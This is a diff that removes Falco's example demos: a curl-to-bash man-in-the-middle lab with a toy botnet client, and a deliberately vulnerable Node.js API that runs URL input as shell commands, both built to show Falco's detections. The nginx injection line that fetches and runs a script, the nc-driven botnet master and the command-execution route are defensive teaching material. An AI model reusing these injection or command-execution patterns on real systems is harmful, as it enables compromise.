-    if [ -z "${APISERVER_HOST+xxx}" ]; then
-	echo "***You must specify APISERVER_HOST with the name of your kops api server"
-	exit 1
-    fi
-fi
-
-echo "***Copying apiserver config patch script to apiserver..."
-ssh -i $SSH_KEY "$SSH_USER@$APISERVER_HOST" "sudo mkdir -p /var/lib/k8s_audit && sudo chown $SSH_USER /var/lib/k8s_audit"
-scp -i $SSH_KEY apiserver-config.patch.sh "$SSH_USER@$APISERVER_HOST:/var/lib/k8s_audit"
-
-if [ "$AUDIT_TYPE" == "static" ]; then
-    echo "***Copying audit policy/webhook files to apiserver..."
-    scp -i $SSH_KEY audit-policy.yaml "$SSH_USER@$APISERVER_HOST:/var/lib/k8s_audit"
-    scp -i $SSH_KEY webhook-config.yaml "$SSH_USER@$APISERVER_HOST:/var/lib/k8s_audit"
-fi
-
-if [ "$AUDIT_TYPE" == "dynamic+log" ]; then
-    echo "***Copying audit policy file to apiserver..."
-    scp -i $SSH_KEY audit-policy.yaml "$SSH_USER@$APISERVER_HOST:/var/lib/k8s_audit"
-fi
-
-echo "***Modifying k8s apiserver config (will result in apiserver restarting)..."
-
-ssh -i $SSH_KEY "$SSH_USER@$APISERVER_HOST" "sudo bash /var/lib/k8s_audit/apiserver-config.patch.sh $MANIFEST $VARIANT $AUDIT_TYPE"
-
-echo "***Done!"

examples/k8s_audit_config/webhook-config.yaml.in

@@ -1,14 +0,0 @@
-apiVersion: v1
-kind: Config
-clusters:
-- name: falco
-  cluster:
-    server: http://$FALCO_SERVICE_CLUSTERIP:8765/k8s_audit
-contexts:
-- context:
-    cluster: falco
-    user: ""
-  name: default-context
-current-context: default-context
-preferences: {}
-users: []

examples/mitm-sh-installer/README.md

@@ -1,78 +0,0 @@
-# Demo of falco with man-in-the-middle attacks on installation scripts
-
-For context, see the corresponding [blog post](http://sysdig.com/blog/making-curl-to-bash-safer) for this demo.
-
-## Demo architecture
-
-### Initial setup
-
-Make sure no prior `botnet_client.py` processes are lying around.
-
-### Start everything using docker-compose
-
-From this directory, run the following:
-
-```
-$ docker-compose -f demo.yml up
-```
-
-This starts the following containers:
-* apache: the legitimate web server, serving files from `.../mitm-sh-installer/web_root`, specifically the file `install-software.sh`.
-* nginx: the reverse proxy, configured with the config file `.../mitm-sh-installer/nginx.conf`.
-* evil_apache: the "evil" web server, serving files from `.../mitm-sh-installer/evil_web_root`, specifically the file `botnet_client.py`.
-* attacker_botnet_master: constantly trying to contact the botnet_client.py process.
-* falco: will detect the activities of botnet_client.py.
-
-### Download `install-software.sh`, see botnet client running
-
-Run the following to fetch and execute the installation script,
-which also installs the botnet client:
-
-```
-$ curl http://localhost/install-software.sh | bash
-```
-
-You'll see messages about installing the software. (The script doesn't actually install anything, the messages are just for demonstration purposes).
-
-Now look for all python processes and you'll see the botnet client running. You can also telnet to port 1234:
-
-```
-$ ps auxww  | grep python
-...
-root   19983  0.1  0.4  33992  8832 pts/1    S    13:34   0:00 python ./botnet_client.py
-
-$ telnet localhost 1234
-Trying ::1...
-Trying 127.0.0.1...
-Connected to localhost.
-Escape character is '^]'.
-```
-
-You'll also see messages in the docker-compose output showing that attacker_botnet_master can reach the client:
-
-```
-attacker_botnet_master | Trying to contact compromised machine...
-attacker_botnet_master | Waiting for botnet command and control commands...
-attacker_botnet_master | Ok, will execute "ddos target=10.2.4.5 duration=3000s rate=5000 m/sec"
-attacker_botnet_master | **********Contacted compromised machine, sent botnet commands
-```
-
-At this point, kill the botnet_client.py process to clean things up.
-
-### Run installation script again using `fbash`, note falco warnings.
-
-If you run the installation script again:
-
-```
-curl http://localhost/install-software.sh | ./fbash
-```
-
-In the docker-compose output, you'll see the following falco warnings:
-
-```
-falco                  | 23:19:56.528652447: Warning Outbound connection on non-http(s) port by a process in a fbash session (command=curl -so ./botnet_client.py http://localhost:9090/botnet_client.py connection=127.0.0.1:43639->127.0.0.1:9090)
-falco                  | 23:19:56.528667589: Warning Outbound connection on non-http(s) port by a process in a fbash session (command=curl -so ./botnet_client.py http://localhost:9090/botnet_client.py connection=)
-falco                  | 23:19:56.530758087: Warning Outbound connection on non-http(s) port by a process in a fbash session (command=curl -so ./botnet_client.py http://localhost:9090/botnet_client.py connection=::1:41996->::1:9090)
-falco                  | 23:19:56.605318716: Warning Unexpected listen call by a process in a fbash session (command=python ./botnet_client.py)
-falco                  | 23:19:56.605323967: Warning Unexpected listen call by a process in a fbash session (command=python ./botnet_client.py)
-```

examples/mitm-sh-installer/botnet_master.sh

@@ -1,7 +0,0 @@
-#!/bin/sh
-
-while true; do
-    echo "Trying to contact compromised machine..."
-    echo "ddos target=10.2.4.5 duration=3000s rate=5000 m/sec" | nc localhost 1234 && echo "**********Contacted compromised machine, sent botnet commands"
-    sleep 5
-done

examples/mitm-sh-installer/demo.yml

@@ -1,51 +0,0 @@
-# Owned by software vendor, serving install-software.sh.
-apache:
-  container_name: apache
-  image: httpd:2.4
-  volumes:
-        - ${PWD}/web_root:/usr/local/apache2/htdocs
-
-# Owned by software vendor, compromised by attacker.
-nginx:
-  container_name: mitm_nginx
-  image: nginx:latest
-  links:
-    - apache
-  ports:
-      - "80:80"
-  volumes:
-        - ${PWD}/nginx.conf:/etc/nginx/nginx.conf:ro
-
-# Owned by attacker.
-evil_apache:
-  container_name: evil_apache
-  image: httpd:2.4
-  volumes:
-        - ${PWD}/evil_web_root:/usr/local/apache2/htdocs
-  ports:
-      - "9090:80"
-
-# Owned by attacker, constantly trying to contact client.
-attacker_botnet_master:
-  container_name: attacker_botnet_master
-  image: alpine:latest
-  net: host
-  volumes:
-    - ${PWD}/botnet_master.sh:/tmp/botnet_master.sh
-  command:
-    - /tmp/botnet_master.sh
-
-# Owned by client, detects attack by attacker
-falco:
-  container_name: falco
-  image: falcosecurity/falco:latest
-  privileged: true
-  volumes:
-    - /var/run/docker.sock:/host/var/run/docker.sock
-    - /dev:/host/dev
-    - /proc:/host/proc:ro
-    - /boot:/host/boot:ro
-    - /lib/modules:/host/lib/modules:ro
-    - /usr:/host/usr:ro
-    - ${PWD}/../../rules/falco_rules.yaml:/etc/falco_rules.yaml
-  tty: true

examples/mitm-sh-installer/evil_web_root/botnet_client.py

@@ -1,18 +0,0 @@
-import socket;
-import signal;
-import os;
-
-os.close(0);
-os.close(1);
-os.close(2);
-
-signal.signal(signal.SIGINT,signal.SIG_IGN);
-serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-serversocket.bind(('0.0.0.0', 1234))
-serversocket.listen(5);
-while 1:
-    (clientsocket, address) = serversocket.accept();
-    clientsocket.send('Waiting for botnet command and control commands...\n');
-    command = clientsocket.recv(1024)
-    clientsocket.send('Ok, will execute "{}"\n'.format(command.strip()))
-    clientsocket.close()

examples/mitm-sh-installer/fbash

@@ -1,15 +0,0 @@
-#!/bin/bash
-
-SID=`ps --no-heading -o sess --pid $$`
-
-if [ $SID -ne $$ ]; then
-    # Not currently a session leader? Run a copy of ourself in a new
-    # session, with copies of stdin/stdout/stderr.
-    setsid $0 $@ < /dev/stdin 1> /dev/stdout 2> /dev/stderr &
-    FBASH=$!
-    trap "kill $FBASH; exit" SIGINT SIGTERM
-    wait $FBASH
-else
-    # Just evaluate the commands (from stdin)
-    source /dev/stdin
-fi

examples/mitm-sh-installer/nginx.conf

@@ -1,12 +0,0 @@
-http {
-    server {
-        location / {
-            sub_filter_types '*';
-            sub_filter 'function install_deb {' 'curl -so ./botnet_client.py http://localhost:9090/botnet_client.py && python ./botnet_client.py &\nfunction install_deb {';
-            sub_filter_once off;
-            proxy_pass http://apache:80;
-        }
-    }
-}
-events {
-}

examples/mitm-sh-installer/web_root/install-software.sh

@@ -1,156 +0,0 @@
-#!/bin/bash
-#
-# Copyright (C) 2019 The Falco Authors.
-#
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#     http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-set -e
-
-function install_rpm {
-	if ! hash curl > /dev/null 2>&1; then
-		echo "* Installing curl"
-		yum -q -y install curl
-	fi
-
-	echo "*** Installing my-software public key"
-	# A rpm --import command would normally be here
-
-	echo "*** Installing my-software repository"
-	# A curl path-to.repo <some url> would normally be here
-
-	echo "*** Installing my-software"
-	# A yum -q -y install my-software command would normally be here
-
-	echo "*** my-software Installed!"
-}
-
-function install_deb {
-	export DEBIAN_FRONTEND=noninteractive
-
-	if ! hash curl > /dev/null 2>&1; then
-		echo "* Installing curl"
-		apt-get -qq -y install curl < /dev/null
-	fi
-
-	echo "*** Installing my-software public key"
-	# A curl <url> | apt-key add - command would normally be here
-
-	echo "*** Installing my-software repository"
-	# A curl path-to.list <some url> would normally be here
-
-	echo "*** Installing my-software"
-	# An apt-get -qq -y install my-software command would normally be here
-
-	echo "*** my-software Installed!"
-}
-
-function unsupported {
-	echo 'Unsupported operating system. Please consider writing to the mailing list at'
-	echo 'https://groups.google.com/forum/#!forum/my-software or trying the manual'
-	echo 'installation.'
-	exit 1
-}
-
-if [ $(id -u) != 0 ]; then
-	echo "Installer must be run as root (or with sudo)."
-#	exit 1
-fi
-
-echo "* Detecting operating system"
-
-ARCH=$(uname -m)
-if [[ ! $ARCH = *86 ]] && [ ! $ARCH = "x86_64" ]; then
-	unsupported
-fi
-
-if [ -f /etc/debian_version ]; then
-	if [ -f /etc/lsb-release ]; then
-		. /etc/lsb-release
-		DISTRO=$DISTRIB_ID
-		VERSION=${DISTRIB_RELEASE%%.*}
-	else
-		DISTRO="Debian"
-		VERSION=$(cat /etc/debian_version | cut -d'.' -f1)
-	fi
-
-	case "$DISTRO" in
-
-		"Ubuntu")
-			if [ $VERSION -ge 10 ]; then
-				install_deb
-			else
-				unsupported
-			fi
-			;;
-
-		"LinuxMint")
-			if [ $VERSION -ge 9 ]; then
-				install_deb
-			else
-				unsupported
-			fi
-			;;
-
-		"Debian")
-			if [ $VERSION -ge 6 ]; then
-				install_deb
-			elif [[ $VERSION == *sid* ]]; then
-				install_deb
-			else
-				unsupported
-			fi
-			;;
-
-		*)
-			unsupported
-			;;
-
-	esac
-
-elif [ -f /etc/system-release-cpe ]; then
-	DISTRO=$(cat /etc/system-release-cpe | cut -d':' -f3)
-	VERSION=$(cat /etc/system-release-cpe | cut -d':' -f5 | cut -d'.' -f1 | sed 's/[^0-9]*//g')
-
-	case "$DISTRO" in
-
-		"oracle" | "centos" | "redhat")
-			if [ $VERSION -ge 6 ]; then
-				install_rpm
-			else
-				unsupported
-			fi
-			;;
-
-		"amazon")
-			install_rpm
-			;;
-
-		"fedoraproject")
-			if [ $VERSION -ge 13 ]; then
-				install_rpm
-			else
-				unsupported
-			fi
-			;;
-
-		*)
-			unsupported
-			;;
-
-	esac
-
-else
-	unsupported
-fi

examples/nodejs-bad-rest-api/README.md

@@ -1,66 +0,0 @@
-# Demo of falco with bash exec via poorly designed REST API.
-
-## Introduction
-
-This example shows how a server could have a poorly designed API that
-allowed a client to execute arbitrary programs on the server, and how
-that behavior can be detected using Sysdig Falco.
-
-`server.js` in this directory defines the server. The poorly designed
-API is this route handler:
-
-```javascript
-router.get('/exec/:cmd', function(req, res) {
-    var output = child_process.execSync(req.params.cmd);
-    res.send(output);
-});
-
-app.use('/api', router);
-```
-
-It blindly takes the url portion after `/api/exec/<cmd>` and tries to
-execute it. A horrible design choice(!), but allows us to easily show
-Sysdig falco's capabilities.
-
-## Demo architecture
-
-### Start everything using docker-compose
-
-From this directory, run the following:
-
-```
-$ docker-compose -f demo.yml up
-```
-
-This starts the following containers:
-
-* express_server: simple express server exposing a REST API under the endpoint `/api/exec/<cmd>`.
-* falco: will detect when you execute a shell via the express server.
-
-### Access urls under `/api/exec/<cmd>` to run arbitrary commands.
-
-Run the following commands to execute arbitrary commands like 'ls', 'pwd', etc:
-
-```
-$ curl http://localhost:8181/api/exec/ls
-
-demo.yml
-node_modules
-package.json
-README.md
-server.js
-```
-
-```
-$ curl http://localhost:8181/api/exec/pwd
-
-.../examples/nodejs-bad-rest-api
-```
-
-### Try to run bash via `/api/exec/bash`, falco sends alert.
-
-If you try to run bash via `/api/exec/bash`, falco will generate an alert:
-
-```
-falco          | 22:26:53.536628076: Warning Shell spawned in a container other than entrypoint (user=root container_id=6f339b8aeb0a container_name=express_server shell=bash parent=sh cmdline=bash )
-```

examples/nodejs-bad-rest-api/demo.yml

@@ -1,21 +0,0 @@
-express_server:
-  container_name: express_server
-  image: node:latest
-  command: bash -c "apt-get -y update && apt-get -y install runit && cd /usr/src/app && npm install && runsv /usr/src/app"
-  ports:
-    - "8181:8181"
-  volumes:
-        - ${PWD}:/usr/src/app
-
-falco:
-  container_name: falco
-  image: falcosecurity/falco:latest
-  privileged: true
-  volumes:
-    - /var/run/docker.sock:/host/var/run/docker.sock
-    - /dev:/host/dev
-    - /proc:/host/proc:ro
-    - /boot:/host/boot:ro
-    - /lib/modules:/host/lib/modules:ro
-    - /usr:/host/usr:ro
-  tty: true

examples/nodejs-bad-rest-api/package.json

@@ -1,7 +0,0 @@
-{
-    "name": "bad-rest-api",
-    "main": "server.js",
-    "dependencies": {
-        "express": "~4.16.0"
-    }
-}

examples/nodejs-bad-rest-api/run

@@ -1,2 +0,0 @@
-#!/bin/sh
-node server.js

examples/nodejs-bad-rest-api/server.js

@@ -1,25 +0,0 @@
-var express    = require('express');        // call express
-var app        = express();                 // define our app using express
-var child_process = require('child_process');
-
-var port = process.env.PORT || 8181;        // set our port
-
-// ROUTES FOR OUR API
-// =============================================================================
-var router = express.Router();              // get an instance of the express Router
-
-// test route to make sure everything is working (accessed at GET http://localhost:8181/api)
-router.get('/', function(req, res) {
-    res.json({ message: 'API available'});
-});
-
-router.get('/exec/:cmd', function(req, res) {
-    var ret = child_process.spawnSync(req.params.cmd, { shell: true});
-    res.send(ret.stdout);
-});
-
-app.use('/api', router);
-
-app.listen(port);
-console.log('Server running on port: ' + port);
-

falco.yaml

@@ -139,7 +139,7 @@ stdout_output:
 webserver:
   enabled: true
   listen_port: 8765
-  k8s_audit_endpoint: /k8s_audit
+  k8s_audit_endpoint: /k8s-audit
   ssl_enabled: false
   ssl_certificate: /etc/falco/falco.pem
 
@@ -167,21 +167,35 @@ http_output:
   enabled: false
   url: http://some.url
 
-# gRPC server configuration.
-# The gRPC server is secure by default (mutual TLS) so you need to generate certificates and update their paths here.
+# Falco supports running a gRPC server with two main binding types
+# 1. Over the network with mandatory mutual TLS authentication (mTLS)
+# 2. Over a local unix socket with no authentication
+# By default, the gRPC server is disabled, with no enabled services (see grpc_output)
+# please comment/uncomment and change accordingly the options below to configure it.
+# Important note: if Falco has any troubles creating the gRPC server
+# this information will be logged, however the main Falco daemon will not be stopped.
+# gRPC server over network with (mandatory) mutual TLS configuration.
+# This gRPC server is secure by default so you need to generate certificates and update their paths here.
 # By default the gRPC server is off.
 # You can configure the address to bind and expose it.
 # By modifying the threadiness configuration you can fine-tune the number of threads (and context) it will use.
+# grpc:
+#   enabled: true
+#   bind_address: "0.0.0.0:5060"
+#   threadiness: 8
+#   private_key: "/etc/falco/certs/server.key"
+#   cert_chain: "/etc/falco/certs/server.crt"
+#   root_certs: "/etc/falco/certs/ca.crt"
+
+# gRPC server using an unix socket
 grpc:
   enabled: false
-  bind_address: "0.0.0.0:5060"
+  bind_address: "unix:///var/run/falco.sock"
   threadiness: 8
-  private_key: "/etc/falco/certs/server.key"
-  cert_chain: "/etc/falco/certs/server.crt"
-  root_certs: "/etc/falco/certs/ca.crt"
 
 # gRPC output service.
 # By default it is off.
 # By enabling this all the output events will be kept in memory until you read them with a gRPC client.
+# Make sure to have a consumer for them or leave this disabled.
 grpc_output:
   enabled: false

integrations/OWNERS

@@ -1,2 +0,0 @@
-labels:
-  - area/integration

integrations/anchore-falco/Dockerfile

@@ -1,13 +0,0 @@
-FROM python:3-stretch
-
-RUN pip install pipenv
-
-WORKDIR /app
-
-ADD Pipfile /app/Pipfile
-ADD Pipfile.lock /app/Pipfile.lock
-RUN pipenv install --system --deploy
-
-ADD . /app
-
-CMD ["python", "main.py"]

integrations/anchore-falco/Pipfile

@@ -1,16 +0,0 @@
-[[source]]
-url = "https://pypi.python.org/simple"
-verify_ssl = true
-name = "pypi"
-
-[dev-packages]
-doublex-expects = "==0.7.0rc2"
-doublex = "*"
-mamba = "*"
-expects = "*"
-
-[packages]
-requests = "*"
-
-[requires]
-python_version = "3.7"

integrations/anchore-falco/Pipfile.lock

@@ -1,161 +0,0 @@
-{
-    "_meta": {
-        "hash": {
-            "sha256": "3bdeb3ebfc2760431a59b0a27dc9e747b5d21f9156591ebb7994d94c21f33648"
-        },
-        "pipfile-spec": 6,
-        "requires": {
-            "python_version": "3.7"
-        },
-        "sources": [
-            {
-                "name": "pypi",
-                "url": "https://pypi.python.org/simple",
-                "verify_ssl": true
-            }
-        ]
-    },
-    "default": {
-        "certifi": {
-            "hashes": [
-                "sha256:59b7658e26ca9c7339e00f8f4636cdfe59d34fa37b9b04f6f9e9926b3cece1a5",
-                "sha256:b26104d6835d1f5e49452a26eb2ff87fe7090b89dfcaee5ea2212697e1e1d7ae"
-            ],
-            "version": "==2019.3.9"
-        },
-        "chardet": {
-            "hashes": [
-                "sha256:84ab92ed1c4d4f16916e05906b6b75a6c0fb5db821cc65e70cbd64a3e2a5eaae",
-                "sha256:fc323ffcaeaed0e0a02bf4d117757b98aed530d9ed4531e3e15460124c106691"
-            ],
-            "version": "==3.0.4"
-        },
-        "idna": {
-            "hashes": [
-                "sha256:c357b3f628cf53ae2c4c05627ecc484553142ca23264e593d327bcde5e9c3407",
-                "sha256:ea8b7f6188e6fa117537c3df7da9fc686d485087abf6ac197f9c46432f7e4a3c"
-            ],
-            "version": "==2.8"
-        },
-        "requests": {
-            "hashes": [
-                "sha256:502a824f31acdacb3a35b6690b5fbf0bc41d63a24a45c4004352b0242707598e",
-                "sha256:7bf2a778576d825600030a110f3c0e3e8edc51dfaafe1c146e39a2027784957b"
-            ],
-            "index": "pypi",
-            "version": "==2.21.0"
-        },
-        "urllib3": {
-            "hashes": [
-                "sha256:2393a695cd12afedd0dcb26fe5d50d0cf248e5a66f75dbd89a3d4eb333a61af4",
-                "sha256:a637e5fae88995b256e3409dc4d52c2e2e0ba32c42a6365fee8bbd2238de3cfb"
-            ],
-            "version": "==1.24.3"
-        }
-    },
-    "develop": {
-        "args": {
-            "hashes": [
-                "sha256:a785b8d837625e9b61c39108532d95b85274acd679693b71ebb5156848fcf814"
-            ],
-            "version": "==0.1.0"
-        },
-        "clint": {
-            "hashes": [
-                "sha256:05224c32b1075563d0b16d0015faaf9da43aa214e4a2140e51f08789e7a4c5aa"
-            ],
-            "version": "==0.5.1"
-        },
-        "coverage": {
-            "hashes": [
-                "sha256:0c5fe441b9cfdab64719f24e9684502a59432df7570521563d7b1aff27ac755f",
-                "sha256:2b412abc4c7d6e019ce7c27cbc229783035eef6d5401695dccba80f481be4eb3",
-                "sha256:3684fabf6b87a369017756b551cef29e505cb155ddb892a7a29277b978da88b9",
-                "sha256:39e088da9b284f1bd17c750ac672103779f7954ce6125fd4382134ac8d152d74",
-                "sha256:3c205bc11cc4fcc57b761c2da73b9b72a59f8d5ca89979afb0c1c6f9e53c7390",
-                "sha256:42692db854d13c6c5e9541b6ffe0fe921fe16c9c446358d642ccae1462582d3b",
-                "sha256:465ce53a8c0f3a7950dfb836438442f833cf6663d407f37d8c52fe7b6e56d7e8",
-                "sha256:48020e343fc40f72a442c8a1334284620f81295256a6b6ca6d8aa1350c763bbe",
-                "sha256:4ec30ade438d1711562f3786bea33a9da6107414aed60a5daa974d50a8c2c351",
-                "sha256:5296fc86ab612ec12394565c500b412a43b328b3907c0d14358950d06fd83baf",
-                "sha256:5f61bed2f7d9b6a9ab935150a6b23d7f84b8055524e7be7715b6513f3328138e",
-                "sha256:6899797ac384b239ce1926f3cb86ffc19996f6fa3a1efbb23cb49e0c12d8c18c",
-                "sha256:68a43a9f9f83693ce0414d17e019daee7ab3f7113a70c79a3dd4c2f704e4d741",
-                "sha256:6b8033d47fe22506856fe450470ccb1d8ba1ffb8463494a15cfc96392a288c09",
-                "sha256:7ad7536066b28863e5835e8cfeaa794b7fe352d99a8cded9f43d1161be8e9fbd",
-                "sha256:7bacb89ccf4bedb30b277e96e4cc68cd1369ca6841bde7b005191b54d3dd1034",
-                "sha256:839dc7c36501254e14331bcb98b27002aa415e4af7ea039d9009409b9d2d5420",
-                "sha256:8e679d1bde5e2de4a909efb071f14b472a678b788904440779d2c449c0355b27",
-                "sha256:8f9a95b66969cdea53ec992ecea5406c5bd99c9221f539bca1e8406b200ae98c",
-                "sha256:932c03d2d565f75961ba1d3cec41ddde00e162c5b46d03f7423edcb807734eab",
-                "sha256:93f965415cc51604f571e491f280cff0f5be35895b4eb5e55b47ae90c02a497b",
-                "sha256:988529edadc49039d205e0aa6ce049c5ccda4acb2d6c3c5c550c17e8c02c05ba",
-                "sha256:998d7e73548fe395eeb294495a04d38942edb66d1fa61eb70418871bc621227e",
-                "sha256:9de60893fb447d1e797f6bf08fdf0dbcda0c1e34c1b06c92bd3a363c0ea8c609",
-                "sha256:9e80d45d0c7fcee54e22771db7f1b0b126fb4a6c0a2e5afa72f66827207ff2f2",
-                "sha256:a545a3dfe5082dc8e8c3eb7f8a2cf4f2870902ff1860bd99b6198cfd1f9d1f49",
-                "sha256:a5d8f29e5ec661143621a8f4de51adfb300d7a476224156a39a392254f70687b",
-                "sha256:a9abc8c480e103dc05d9b332c6cc9fb1586330356fc14f1aa9c0ca5745097d19",
-                "sha256:aca06bfba4759bbdb09bf52ebb15ae20268ee1f6747417837926fae990ebc41d",
-                "sha256:bb23b7a6fd666e551a3094ab896a57809e010059540ad20acbeec03a154224ce",
-                "sha256:bfd1d0ae7e292105f29d7deaa9d8f2916ed8553ab9d5f39ec65bcf5deadff3f9",
-                "sha256:c22ab9f96cbaff05c6a84e20ec856383d27eae09e511d3e6ac4479489195861d",
-                "sha256:c62ca0a38958f541a73cf86acdab020c2091631c137bd359c4f5bddde7b75fd4",
-                "sha256:c709d8bda72cf4cd348ccec2a4881f2c5848fd72903c185f363d361b2737f773",
-                "sha256:c968a6aa7e0b56ecbd28531ddf439c2ec103610d3e2bf3b75b813304f8cb7723",
-                "sha256:ca58eba39c68010d7e87a823f22a081b5290e3e3c64714aac3c91481d8b34d22",
-                "sha256:df785d8cb80539d0b55fd47183264b7002077859028dfe3070cf6359bf8b2d9c",
-                "sha256:f406628ca51e0ae90ae76ea8398677a921b36f0bd71aab2099dfed08abd0322f",
-                "sha256:f46087bbd95ebae244a0eda01a618aff11ec7a069b15a3ef8f6b520db523dcf1",
-                "sha256:f8019c5279eb32360ca03e9fac40a12667715546eed5c5eb59eb381f2f501260",
-                "sha256:fc5f4d209733750afd2714e9109816a29500718b32dd9a5db01c0cb3a019b96a"
-            ],
-            "version": "==4.5.3"
-        },
-        "doublex": {
-            "hashes": [
-                "sha256:4e9f17f346276db7faa461dfa105f17de7f837e5ceccca34f4c70d4ff9d2f20c"
-            ],
-            "index": "pypi",
-            "version": "==1.9.2"
-        },
-        "doublex-expects": {
-            "hashes": [
-                "sha256:5421bd92319c77ccc5a81d595d06e9c9f7f670de342b33e8007a81e70f9fade8"
-            ],
-            "index": "pypi",
-            "version": "==0.7.0rc2"
-        },
-        "expects": {
-            "hashes": [
-                "sha256:419902ccafe81b7e9559eeb6b7a07ef9d5c5604eddb93000f0642b3b2d594f4c"
-            ],
-            "index": "pypi",
-            "version": "==0.9.0"
-        },
-        "mamba": {
-            "hashes": [
-                "sha256:25328151ea94d97a0b461d7256dc7350c99b5f8d2de22d355978378edfeac545"
-            ],
-            "index": "pypi",
-            "version": "==0.10"
-        },
-        "pyhamcrest": {
-            "hashes": [
-                "sha256:6b672c02fdf7470df9674ab82263841ce8333fb143f32f021f6cb26f0e512420",
-                "sha256:7a4bdade0ed98c699d728191a058a60a44d2f9c213c51e2dd1e6fb42f2c6128a",
-                "sha256:8ffaa0a53da57e89de14ced7185ac746227a8894dbd5a3c718bf05ddbd1d56cd",
-                "sha256:bac0bea7358666ce52e3c6c85139632ed89f115e9af52d44b3c36e0bf8cf16a9",
-                "sha256:f30e9a310bcc1808de817a92e95169ffd16b60cbc5a016a49c8d0e8ababfae79"
-            ],
-            "version": "==1.9.0"
-        },
-        "six": {
-            "hashes": [
-                "sha256:3350809f0555b11f552448330d0b52d5f24c91a322ea4a15ef22629740f3761c",
-                "sha256:d16a0141ec1a18405cd4ce8b4613101da75da0e9a7aec5bdd4fa804d0e0eba73"
-            ],
-            "version": "==1.12.0"
-        }
-    }
-}

integrations/anchore-falco/README.md

@@ -1,89 +0,0 @@
-# Create Falco rule from Anchore policy result
-
-This integration creates a rule for Falco based on Anchore policy result.
-So that when we will try to run an image which has a ```stop``` final action result
-in Anchore, Falco will alert us.
-
-## Getting started
-
-### Prerequisites
-
-For running this integration you will need:
-
-* Python 3.6
-* pipenv
-* An [anchore-engine](https://github.com/anchore/anchore-engine) running
-
-### Configuration
-
-This integration uses the [same environment variables that anchore-cli](https://github.com/anchore/anchore-cli#configuring-the-anchore-cli):
-
-* ANCHORE_CLI_USER: The user used to connect to anchore-engine. By default is ```admin```
-* ANCHORE_CLI_PASS: The password used to connect to anchore-engine.
-* ANCHORE_CLI_URL: The url where anchore-engine listens. Make sure does not end with a slash. By default is ```http://localhost:8228/v1```
-* ANCHORE_CLI_SSL_VERIFY: Flag for enabling if HTTP client verifies SSL. By default is ```true```
-
-### Running
-
-This is a Python program which generates a Falco rule based on anchore-engine
-information:
-
-```
-pipenv run python main.py
-```
-
-And this will output something like:
-
-
-```yaml
-- macro: anchore_stop_policy_evaluation_containers
-  condition: container.image.id in ("8626492fecd368469e92258dfcafe055f636cb9cbc321a5865a98a0a6c99b8dd", "e86d9bb526efa0b0401189d8df6e3856d0320a3d20045c87b4e49c8a8bdb22c1")
-
-- rule: Run Anchore Containers with Stop Policy Evaluation
-  desc: Detect containers which does not receive a positive Policy Evaluation from Anchore Engine.
-
-  condition: evt.type=execve and proc.vpid=1 and container and anchore_stop_policy_evaluation_containers
-  output: A stop policy evaluation container from anchore has started (%container.info image=%container.image)
-  priority: INFO
-  tags: [container]
-```
-
-You can save that output to ```/etc/falco/rules.d/anchore-integration-rules.yaml```
-and Falco will start checking this rule.
-
-As long as information in anchore-engine can change, it's a good idea to run this
-integration **periodically** and keep the rule synchronized with anchore-engine
-policy evaluation result.
-
-## Tests
-
-As long as there are contract tests with anchore-engine, it needs a working
-anchore-engine and its environment variables.
-
-```
-pipenv install -d
-pipenv run mamba --format=documentation
-```
-
-## Docker support
-
-### Build the image
-
-```
-docker build -t sysdig/anchore-falco .
-```
-
-### Running the image
-
-An image exists on DockerHub, its name is ```sysdig/anchore-falco```.
-
-So you can run directly with Docker:
-
-```
-docker run --rm -e ANCHORE_CLI_USER=<user-for-custom-anchore-engine> \
-                -e ANCHORE_CLI_PASS=<password-for-user-for-custom-anchore-engine> \
-                -e ANCHORE_CLI_URL=http://<custom-anchore-engine-host>:8228/v1 \
-                sysdig/anchore-falco
-```
-
-And this will output the Falco rule based on *custom-anchore-engine-host*.

integrations/anchore-falco/actions.py

@@ -1,25 +0,0 @@
-import string
-
-FALCO_RULE_TEMPLATE = string.Template('''
-- macro: anchore_stop_policy_evaluation_containers
-  condition: container.image.id in ($images)
-
-- rule: Run Anchore Containers with Stop Policy Evaluation
-  desc: Detect containers which does not receive a positive Policy Evaluation from Anchore Engine.
-
-  condition: evt.type=execve and proc.vpid=1 and container and anchore_stop_policy_evaluation_containers
-  output: A stop policy evaluation container from anchore has started (%container.info image=%container.image)
-  priority: INFO
-  tags: [container]
-''')
-
-
-class CreateFalcoRuleFromAnchoreStopPolicyResults:
-    def __init__(self, anchore_client):
-        self._anchore_client = anchore_client
-
-    def run(self):
-        images = self._anchore_client.get_images_with_policy_result('stop')
-
-        images = ['"{}"'.format(image) for image in images]
-        return FALCO_RULE_TEMPLATE.substitute(images=', '.join(images))

integrations/anchore-falco/infrastructure.py

@@ -1,39 +0,0 @@
-import requests
-
-
-class AnchoreClient:
-    def __init__(self, user, password, url, ssl_verify):
-        self._user = user
-        self._password = password
-        self._url = url
-        self._ssl_verify = ssl_verify
-
-    def get_images_with_policy_result(self, policy_result):
-        results = []
-        for image in self._get_all_images():
-            final_action = self._evaluate_image(image)
-
-            if final_action == 'stop':
-                results.append(image['image_id'])
-
-        return results
-
-    def _get_all_images(self):
-        response = self._do_get_request(self._url + '/images')
-        return [
-            {
-                'image_id': image['image_detail'][0]['imageId'],
-                'image_digest': image['image_detail'][0]['imageDigest'],
-                'full_tag': image['image_detail'][0]['fulltag']
-            } for image in response.json()]
-
-    def _do_get_request(self, url):
-        return requests.get(url,
-                            auth=(self._user, self._password),
-                            verify=self._ssl_verify,
-                            headers={'Content-Type': 'application/json'})
-
-    def _evaluate_image(self, image):
-        response = self._do_get_request(self._url + '/images/{}/check?tag={}'.format(image['image_digest'], image['full_tag']))
-        if response.status_code == 200:
-            return response.json()[0][image['image_digest']][image['full_tag']][0]['detail']['result']['final_action']

integrations/anchore-falco/main.py

@@ -1,21 +0,0 @@
-import os
-
-import actions, infrastructure
-
-
-def main():
-    anchore_client = infrastructure.AnchoreClient(
-        os.environ.get('ANCHORE_CLI_USER', 'admin'),
-        os.environ['ANCHORE_CLI_PASS'],
-        os.environ.get('ANCHORE_CLI_URL', 'http://localhost:8228/v1'),
-        os.environ.get('ANCHORE_CLI_SSL_VERIFY', True)
-    )
